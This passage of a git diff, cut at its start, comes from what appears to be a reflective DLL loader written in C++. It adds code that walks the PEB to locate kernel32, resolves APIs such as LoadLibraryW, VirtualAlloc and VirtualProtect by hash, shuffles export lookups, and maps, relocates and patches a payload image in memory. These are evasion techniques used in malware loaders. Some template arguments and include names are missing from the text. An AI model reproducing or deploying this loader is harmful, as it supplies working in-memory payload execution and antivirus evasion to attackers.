pbSrc; + + for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) + { + pbSrc = reinterpret_cast(pbImage + pSectionHeader->PointerToRawData); + std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst); + } +} + +PBYTE GetModuleAddressFromHash(DWORD dwHash) +{ + // https://en.wikipedia.org/wiki/Win32_Thread_Information_Block +#if defined(_WIN64) + // PEB is at GS:[0x60] + auto pPEB = reinterpret_cast(__readgsqword(0x60)); +#else + // PEB is at FS:[0x30] + auto pPEB = reinterpret_cast(__readfsdword(0x30)); +#endif + + auto pLdr = reinterpret_cast(pPEB->Ldr); + auto pEntry = reinterpret_cast(pLdr->InLoadOrderModuleList.Flink); + + while (pEntry->DllBase != NULL) + { + if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) + { + return reinterpret_cast(pEntry->DllBase); + } + + pEntry = reinterpret_cast(pEntry->InLoadOrderLinks.Flink); + } + + return nullptr; +} + +HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng) +{ + auto pNtHeaders = GetNtHeaders(pbModule); + + if (pNtHeaders == nullptr) + { + return nullptr; + } + + auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + auto *pExport = reinterpret_cast(pbModule + pExportDir->VirtualAddress); + + /* + 1.) Read the export data (dwNameRva's) + 2.) Shuffle the order of the collected export name RVA's + 3.) Find the correct export by calculating hashes of the function names + */ + + DWORD dwNameRva; + std::vector> vNameRvas; + + for (DWORD i = 0; i < pExport->NumberOfNames; i++) + { + dwNameRva = (reinterpret_cast(pbModule + pExport->AddressOfNames))[i]; + vNameRvas.push_back(std::make_tuple(dwNameRva, i)); + } + + std::shuffle(vNameRvas.begin(), vNameRvas.end(), eng); + + DWORD dwNameHash, dwFunctionRva; + UNICODE_STRING *strFunctionNameBase; + WORD wOrdinal; + + for (auto dwNRva : vNameRvas) + { + strFunctionNameBase = reinterpret_cast(pbModule + std::get<0>(dwNRva)); + dwNameHash = CalculateHash(*strFunctionNameBase); + + if (dwNameHash == dwHash) + { + wOrdinal = (reinterpret_cast(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)]; + dwFunctionRva = (reinterpret_cast(pbModule + pExport->AddressOfFunctions))[wOrdinal]; + + return reinterpret_cast(pbModule + dwFunctionRva); + } + } + + return nullptr; +} + +PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) +{ + auto pDosHeader = reinterpret_cast(pbImage); + + if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + return nullptr; + } + + auto pNtHeaders = reinterpret_cast(pbImage + pDosHeader->e_lfanew); + + if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + { + return nullptr; + } + + return pNtHeaders; +} + +DWORD CalculateHash(const UNICODE_STRING &baseDllName) +{ + auto pwszBaseDllName = baseDllName.Buffer; + auto dwHash = HASH_KEY; + + char ch; + + for (auto i = 0; i < baseDllName.MaximumLength; i++) + { + ch = pwszBaseDllName[i]; + + if (ch == '\0') + { + continue; + } + + if (ch >= 'a' && ch <= 'z') + { + ch -= 0x20; + } + + // Casting might be unnecessary + dwHash = ((dwHash << 5) + dwHash) + static_cast(ch); + } + + return dwHash; +} diff --git a/reflective_loader/loader.h b/reflective_loader/loader.h deleted file mode 100644 index 1bf7445..0000000 --- a/reflective_loader/loader.h +++ /dev/null @@ -1,66 +0,0 @@ -#pragma once -#include -#include - -#define IMPORT_DELAY 6 * 1000 * 1000 -#define HASH_KEY 5381 - -#define KERNEL32_DLL_HASH 0x6DDB9555 -// #define NTDLL_DLL_HASH 0x1EDAB0ED -#define LOAD_LIBRARY_W_HASH 0xB7072FF1 -#define GET_PROC_ADDRESS_HASH 0xDECFC1BF -#define VIRTUAL_ALLOC_HASH 0x097BC257 -#define FLUSH_INSTRUCTION_CACHE_HASH 0xEFB7BF9D -#define VIRTUAL_PROTECT_HASH 0xE857500D -#define SLEEP_HASH 0x0E07CD7E - -// Signatures from MSDN -typedef HMODULE(WINAPI *LOAD_LIBRARY_W)(LPCWSTR); -typedef ULONG_PTR(WINAPI *GET_PROC_ADDRESS)(HMODULE, LPCSTR); -typedef LPVOID(WINAPI *VIRTUAL_ALLOC)(LPVOID, SIZE_T, DWORD, DWORD); -typedef BOOL(WINAPI *FLUSH_INSTRUCTION_CACHE)(HANDLE, LPCVOID, SIZE_T); -typedef BOOL(WINAPI *VIRTUAL_PROTECT)(LPVOID, SIZE_T, DWORD, PDWORD); -typedef VOID(WINAPI *SLEEP)(DWORD); - -typedef BOOL(WINAPI *DLLMAIN)(HMODULE, DWORD, LPVOID); -typedef BOOL(WINAPI *USER_FUNCTION)(LPVOID, DWORD); - -typedef struct _MY_PEB_LDR_DATA -{ - ULONG Length; - BOOL Initialized; - PVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; -} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA; - -typedef struct _MY_LDR_DATA_TABLE_ENTRY -{ - LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; - LIST_ENTRY InInitializationOrderLinks; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; -} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; - -typedef struct -{ - WORD offset : 12; - WORD type : 4; -} IMAGE_RELOC, *PIMAGE_RELOC; - -PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pImage); -DWORD CalculateHash(UNICODE_STRING *BaseDllName); - -HMODULE GetModuleAddrFromHash(DWORD dwHash); -HMODULE GetExportAddrFromHash(HMODULE hModule, DWORD dwHash); - -void CopySections(ULONG_PTR pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders); -void CopyHeaders(ULONG_PTR pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders); -BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); -BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress); -void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache); diff --git a/reflective_loader/loader.hpp b/reflective_loader/loader.hpp new file mode 100644 index 0000000..b242214 --- /dev/null +++ b/reflective_loader/loader.hpp @@ -0,0 +1,76 @@ +#pragma once + +#include +#include +#include + +#define IMPORT_DELAY 6 * 1000 // 6 seconds +#define HASH_KEY 5381 + +#define KERNEL32_DLL_HASH 0x6DDB9555 +// #define NTDLL_DLL_HASH 0x1EDAB0ED +#define LOAD_LIBRARY_W_HASH 0xB7072FF1 +#define GET_PROC_ADDRESS_HASH 0xDECFC1BF +#define VIRTUAL_ALLOC_HASH 0x097BC257 +#define FLUSH_INSTRUCTION_CACHE_HASH 0xEFB7BF9D +#define VIRTUAL_PROTECT_HASH 0xE857500D +#define SLEEP_HASH 0x0E07CD7E + +// Function pointer typedefs from MSDN +using LOAD_LIBRARY_W = HMODULE(WINAPI *)(LPCWSTR); +using GET_PROC_ADDRESS = ULONG_PTR(WINAPI *)(HMODULE, LPCSTR); +using VIRTUAL_ALLOC = LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD); +using FLUSH_INSTRUCTION_CACHE = BOOL(WINAPI *)(HANDLE, LPCVOID, SIZE_T); +using VIRTUAL_PROTECT = BOOL(WINAPI *)(LPVOID, SIZE_T, DWORD, PDWORD); +using SLEEP = VOID(WINAPI *)(DWORD); + +// Payload function pointer typedefs +using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID); +using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD); + +// Complete WinAPI PEB structs +struct _MY_PEB_LDR_DATA +{ + ULONG Length; + BOOL Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +}; +using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA; +using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *; + +struct _MY_LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; +}; +using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY; +using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *; + +struct _IMAGE_RELOC +{ + WORD offset : 12; + WORD type : 4; +}; +using IMAGE_RELOC = _IMAGE_RELOC; +using PIMAGE_RELOC = _IMAGE_RELOC *; + +// Utils +PBYTE GetModuleAddressFromHash(DWORD dwHash); +HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng); +PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage); +DWORD CalculateHash(const UNICODE_STRING &baseDllName); + +// Loader functions +void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders); +BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); +BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng); +void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);